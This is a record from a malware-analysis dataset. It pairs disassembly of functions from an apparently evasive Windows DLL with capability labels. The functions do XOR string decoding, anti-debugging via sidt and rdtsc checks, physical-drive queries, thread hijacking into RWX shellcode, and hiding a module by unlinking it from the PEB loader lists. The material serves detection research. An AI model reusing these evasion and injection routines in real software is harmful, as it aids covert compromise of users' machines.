joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100190a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006c910
mov eax, dword fs:[0]
push eax
sub esp, 0x78
push ebx
push esi
mov eax, dword [0x10084014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, byte [0x1008678c]
cmp bl, 0x41
je 0x100191f4
mov ecx, 0xd78dd4
xor bh, bh
call fcn.10018d90
mov ecx, eax
call fcn.10001e50
cmp ecx, eax
jne 0x10019103
mov ecx, 0xd78dd4
call fcn.10018d90
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, eax
je 0x10019105
mov bh, 1
call fcn.10001e60
cmp dword [0x100867f8], eax
mov edx, 1
movzx ecx, bh
cmovne ecx, edx
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, eax
call fcn.100156e0
mov ecx, 0xd78dd4
mov esi, eax
call fcn.10018d90
cmp esi, eax
jne 0x10019163
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov ecx, eax
call fcn.100156e0
mov ecx, dword [0x1008677c]
mov esi, eax
call fcn.100156e0
cmp eax, esi
jne 0x10019163
cmp byte [ebp - 0x14], 0
je 0x100191f4
movaps xmm0, xmmword [0x1007a4b0]
xor ecx, ecx
movups xmmword [ebp - 0x80], xmm0
movzx eax, bl
movaps xmm0, xmmword [0x1007a710]
push eax
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0x2b36302a
mov word [ebp - 0x5c], 0x28
nop dword [eax]
mov al, byte [ebp - 0x80]
xor byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 0x24
jb 0x10019190
sub esp, 0x18
mov byte [ebp - 0x5b], 0
lea eax, [ebp - 0x7f]
mov ecx, esp
push eax
call fcn.100028b0
lea eax, [ebp - 0x58]
push eax
call fcn.1000bcb0
add esp, 0x20
mov ecx, eax
mov dword [ebp - 4], 0
call fcn.1001c820
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x100191e2
inc eax
push eax
push dword [ebp - 0x58]
call fcn.100026b0
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
call fcn.10027dc0
test eax, eax
je 0x1001927b
movaps xmm0, xmmword [0x1007af60]
xor ecx, ecx
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x484d49
mov al, byte [ebp - 0x28]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x12
jb 0x10019211
cmp byte [ebp - 0x27], 0
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jne 0x1001923e
xor ecx, ecx
jmp 0x1001924d
lea ecx, [ebp - 0x27]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10019244
sub ecx, edx
push ecx
lea eax, [ebp - 0x27]
push eax
lea ecx, [ebp - 0x40]
call fcn.100027b0
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], 1
call fcn.1001c820
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x1001927b
inc eax
push eax
push dword [ebp - 0x40]
call fcn.100026b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001abe0
Capabilities:
Execute anti-debugging instructions
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006c9e7
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x118], 0
jne 0x1001ac43
xor ecx, ecx
jmp 0x1001ac59
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001ac50
sub ecx, edx
push ecx
lea eax, [ebp - 0x118]
mov ecx, 0x1008acd0
push eax
call fcn.100027b0
mov cl, 0x44
mov byte [ebp - 0x11a], 0
mov al, 0x18
mov byte [ebp - 0x11c], cl
xor al, cl
mov byte [ebp - 0x11a], 0
mov byte [ebp - 0x11b], al
jne 0x1001ac91
xor ecx, ecx
jmp 0x1001aca9
lea ecx, [ebp - 0x11b]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001aca0
sub ecx, edx
push ecx
push ecx
lea eax, [ebp - 0x11b]
push eax
call fcn.1001cde0
push 0xffffffffffffffff
inc eax
mov ecx, 0x1008acd0
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.10006a30
mov esi, eax
cmp esi, 0x1008acd0
je 0x1001ad14
mov ecx, dword [0x1008ace4]
cmp ecx, 0x10
jb 0x1001acee
inc ecx
push ecx
push dword [0x1008acd0]
call fcn.100026b0
push esi
mov ecx, 0x1008acd0
mov dword [0x1008ace4], 0xf
mov dword [0x1008ace0], 0
mov byte [0x1008acd0], 0
call fcn.10005bd0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x12c]
cmp eax, 0x10
jb 0x1001ad33
inc eax
push eax
push dword [ebp - 0x140]
call fcn.100026b0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [0x1008677c], eax
call fcn.10001e60
mov dword [0x100867f8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.1000c190
call fcn.1000c270
call fcn.10002da0
sidt [ebp - 0x124]
mov eax, dword [ebp - 0x122]
and eax, 0xff000000
cmp eax, 0xff000000
jne 0x1001ad8f
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10002e10
call fcn.10002ec0
test al, al
jne 0x1001ad78
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x128], 0
rdtsc
mov dword [ebp - 0x124], eax
rdtsc
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x124]
cmp eax, 0x1f4
ja 0x1001ad78
call fcn.10002f70
call fcn.10027760
mov dword [0x100867fc], eax
test eax, eax
je 0x1001adee
mov ecx, eax
call fcn.10027910
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10067dd5
mov esp, ebp
pop ebp
ret
Function at 0x1001c3b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x1007af00]
xor ecx, ecx
mov eax, dword [0x100867d4]
push ebx
push esi
push edi
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
nop dword [eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xf
jb 0x1001c3e0
sub esp, 0x18
mov byte [ebp - 0x28], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x37], 0
jne 0x1001c411
xor ecx, ecx
jmp 0x1001c420
lea ecx, [ebp - 0x37]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001c417
sub ecx, esi
push ecx
lea eax, [ebp - 0x37]
mov ecx, edx
push eax
call fcn.100027b0
lea ecx, [ebp - 0x1c]
call fcn.10064c60
mov edi, dword [ebp - 8]
add esp, 0x18
cmp dword [0x100867d0], 0
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0
jbe 0x1001c499
xor edx, edx
mov dword [ebp - 0x20], edx
cmp edi, 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, ebx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001c460
sub ecx, esi
mov eax, edx
cmp edi, 0x10
lea esi, [ebp - 0x1c]
cmovae esi, ebx
xor edx, edx
div ecx
mov ecx, dword [ebp - 0x20]
mov al, byte [edx + esi]
mov edx, dword [ebp - 0x3c]
xor byte [ecx + edx], al
mov eax, dword [ebp - 0x24]
inc eax
movzx edx, ax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
cmp edx, dword [0x100867d0]
jb 0x1001c452
cmp edi, 0x10
jb 0x1001c4a8
lea eax, [edi + 1]
push eax
push ebx
call fcn.100026b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10067dd5
mov esp, ebp
pop ebp
ret
Function at 0x1001c610
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006cb90
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x50
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x1008678e], 0
je 0x1001c802
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x100867f0]
sbb edx, dword [0x100867f4]
mov dword [ebp - 0x5c], edx
jne 0x1001c67f
cmp eax, 0xbb8
jb 0x1001c802
call esi
movaps xmm0, xmmword [str._e_:_2_f09]
xor ecx, ecx
mov dword [0x100867f0], eax
mov dword [0x100867f4], edx
movups xmmword [ebp - 0x24], xmm0
nop dword [eax]
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xe
jb 0x1001c6a0
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x23]
mov ecx, esp
push eax
call fcn.100028b0
lea ecx, [ebp - 0x48]
call fcn.10064c60
add esp, 0x18
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x18], 0
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x49], 0xa1
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x1000
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.1000edd0
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1c]
mov edi, edx
mov ecx, dword [ebp - 0x20]
sub edi, ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], vtable.Packet.0
cmp edi, 0x989680
ja 0x1001c76a
lea esi, [eax + 1]
cmp edi, esi
jae 0x1001c75d
push esi
lea ecx, [ebp - 0x20]
call fcn.1000ed10
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x49], 0xa5
cmp edx, 0x989680
ja 0x1001c79c
lea esi, [eax + 1]
cmp edx, esi
jae 0x1001c792
push esi
lea ecx, [ebp - 0x20]
call fcn.1000ed10
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dl, byte [ebp - 0x49]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.1001e240
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
sub ecx, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
cmp ecx, 0x4000
ja 0x1001c7e1
mov eax, dword [0x10086778]
mov dword [ebp - 0x5c], eax
mov ecx, dword ds:[0x10071b58]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
call dword [ebp - 0x5c]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.1000eed0
mov eax, dword [ebp - 0x34]
cmp eax, 0x10
jb 0x1001c802
inc eax
push eax
push dword [ebp - 0x48]
call fcn.100026b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10067dd5
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x1001c9f0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006cc2c
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x38], esi
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
mov dword [ebp - 0x3c], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1001ca5b
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x1001cbc3
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x28], fcn.1001cbf0
mov dword [ebp - 0x24], edi
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 0
push eax
push 8
lea eax, [ebp - 0x30]
movq qword [ebp - 0x20], xmm0
push eax
push 0xc
lea eax, [ebp - 0x20]
mov dword [ebp - 0x18], 0
push eax
push 0x2d1400
push edi
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001cae1
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], eax
cmp dword [esi + 0x14], 0x10
jb 0x1001cad0
mov eax, dword [esi]
jmp 0x1001cad2
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 4], 1
jmp 0x1001cbb6
mov eax, dword [ebp - 0x2c]
push eax
mov dword [ebp - 0x38], eax
call fcn.100683d1
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1001cb06
push dword [ebp - 0x38]
push 0
push ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x1001cb08
xor ebx, ebx
mov dword [ebp - 0x34], ebx
push 0
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
push dword [ebp - 0x38]
lea eax, [ebp - 0x20]
push ebx
push 0xc
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1001cb64
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001cb49
mov eax, dword [esi]
jmp 0x1001cb4b
mov eax, esi
mov byte [eax], 0
test ebx, ebx
je 0x1001cb5b
push ebx
call fcn.100683da
add esp, 4
mov dword [ebp - 4], 3
jmp 0x1001cbb6
mov eax, dword [ebx + 0x18]
test eax, eax
jne 0x1001cb9c
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], eax
jb 0x1001cb85
mov eax, dword [esi]
jmp 0x1001cb87
mov eax, esi
push ebx
mov byte [eax], 0
call fcn.100683da
add esp, 4
mov dword [ebp - 4], 4
jmp 0x1001cbb6
add eax, ebx
mov ecx, esi
push eax
call fcn.100028b0
push ebx
call fcn.100683da
add esp, 4
mov dword [ebp - 4], 5
test edi, edi
je 0x1001cbc3
push edi
call fcn.1001cbf0
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10067dd5
mov esp, ebp
pop ebp
ret
Function at 0x10021890
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str._pipediscord_ipc_0]
mov eax, dword [0x10078e10]
push ebx
push esi
push edi
push 0
push 0
mov dword [ebp - 0xc], eax
mov esi, ecx
mov ax, word [0x10078e14]
push 3
movups xmmword [ebp - 0x34], xmm0
push 0
movups xmm0, xmmword [0x10078df8]
mov word [ebp - 8], ax
mov eax, 0x30
push 0
mov word [ebp - 0xa], ax
lea eax, [ebp - 0x34]
movups xmmword [ebp - 0x24], xmm0
push 0xc0000000
movq xmm0, qword [0x10078e08]
push eax
movq qword [ebp - 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
jne 0x10021960
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
call edi
cmp eax, 2
jne 0x10021929
mov ax, word [ebp - 0xa]
cmp ax, 0x39
jae 0x10021976
inc ax
mov word [ebp - 0xa], ax
jmp 0x1002193f
cmp eax, 0xe7
jne 0x10021976
push 0x2710
lea eax, [ebp - 0x34]
push eax
call ebx
test eax, eax
je 0x10021976
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x10021910
pop edi
mov byte [esi], 1
mov al, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10067dd5
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10067dd5
mov esp, ebp
pop ebp
ret
Function at 0x100237a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, ecx
mov ebx, 1
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
add eax, 0x10
mov dword [ebp + 0xc], eax
push 0x5851f42d
xor eax, eax
mov ecx, esi
push 0x4c957f2d
shr ecx, 0x1e
xor eax, esi
xor ecx, edi
push eax
push ecx
call fcn.1006aca0
mov edi, eax
mov esi, edx
mov eax, ebx
cdq
add edi, eax
mov eax, dword [ebp + 0xc]
adc esi, edx
inc ebx
mov dword [eax], edi
mov dword [eax + 4], esi
add eax, 8
mov dword [ebp + 0xc], eax
cmp ebx, 0x138
jl 0x100237c3
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov dword [eax], 0x138
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10027760
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x2c
mov dword [ebp - 0x2f4], 0x40587e2c
mov dword [ebp - 0x2f0], 0x484d4360
xor eax, eax
mov dword [ebp - 0x2ec], 0x455e587f
mov word [ebp - 0x2e8], 0x4b42
mov byte [ebp - 0x2e6], 0
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x100277ba
mov cl, byte [ebp - 0x2f4]
jmp 0x100277a5
push ebx
mov byte [ebp - 0x2e4], 0x44
mov al, 0x2a
xor al, byte [ebp - 0x2e4]
mov bl, 0x28
mov ah, bl
mov byte [ebp - 0x2e3], al
mov al, byte [ebp - 0x2e4]
mov dl, 0x20
mov bh, ah
mov byte [ebp - 0x2d5], ah
xor bl, al
mov byte [ebp - 0x2da], 0
xor ah, al
mov byte [ebp - 0x2e6], 0
xor bh, al
mov byte [ebp - 0x2df], ah
mov dh, dl
mov byte [ebp - 0x2e0], bl
xor dl, al
mov byte [ebp - 0x2dc], bh
xor dh, al
mov byte [ebp - 0x2e1], dl
mov cl, 0x30
mov byte [ebp - 0x2dd], dh
xor cl, al
mov byte [ebp - 0x2da], 0
mov ch, 0x6a
mov byte [ebp - 0x2e2], cl
xor ch, al
mov al, byte [ebp - 0x2d5]
xor al, byte [ebp - 0x2e4]
mov byte [ebp - 0x2db], al
lea eax, [ebp - 0x2f3]
push esi
push eax
lea eax, [ebp - 0x2e3]
mov byte [ebp - 0x2de], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], 0
lea esi, [eax + 0x430]
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x2cc
lea eax, [ebp - 0x2d4]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2d4], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x224], 0x10001fc0
push eax
push esi
mov dword [ebp - 0x2d4], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.10067dd5
mov esp, ebp
pop ebp
ret
Function at 0x10027910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x1007ab80]
xor eax, eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x18], 0x2238043e
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0x343135
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x10027936
mov byte [ebp - 0x10], 0x16
mov al, 0x78
xor al, byte [ebp - 0x10]
mov bl, 0x7a
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x72
mov bh, ah
mov byte [ebp - 1], ah
xor bl, al
mov byte [ebp - 6], 0
xor ah, al
mov byte [ebp - 0x11], 0
xor bh, al
mov byte [ebp - 0xb], ah
mov dh, dl
mov byte [ebp - 0xc], bl
xor dl, al
mov byte [ebp - 8], bh
xor dh, al
mov byte [ebp - 0xd], dl
mov cl, 0x62
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 6], 0
mov ch, 0x38
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0xf]
mov byte [ebp - 0xa], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
jne 0x100279bf
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x11
test esi, esi
jne 0x100279de
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100279f0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x10027a2e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10027a32
cmp edx, esi
jne 0x10027a17
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x10027a52
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10027a56
cmp edx, esi
jne 0x10027a3b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10027a76
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10027a7a
cmp edx, esi
jne 0x10027a5f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10028410
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10084014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov byte [ebp - 0x18], 0x3e
mov al, 0x50
xor al, byte [ebp - 0x18]
mov bl, 0x52
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x5a
mov bh, ah
mov byte [ebp - 9], ah
mov dh, dl
mov byte [ebp - 0xe], 0
xor dl, al
mov byte [ebp - 0xe], 0
xor bl, al
mov byte [ebp - 0x15], dl
xor ah, al
mov byte [ebp - 0x14], bl
xor dh, al
mov byte [ebp - 0x13], ah
xor bh, al
mov byte [ebp - 0x11], dh
mov cl, 0x4a
mov byte [ebp - 0x10], bh
xor cl, al
mov ch, 0x10
xor ch, al
mov byte [ebp - 0x16], cl
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x17]
push eax
mov byte [ebp - 0x12], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movaps xmm0, xmmword [0x1007a250]
mov edx, eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x4011a
xor ecx, ecx
pop ebx
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x12
jb 0x10028496
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x19], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
mov edx, 0x10027ec0
mov ecx, eax
call fcn.10064d30
add esp, 4
mov dword [0x1008a858], eax
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 0x40
push 5
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10067dd5
mov esp, ebp
pop ebp
ret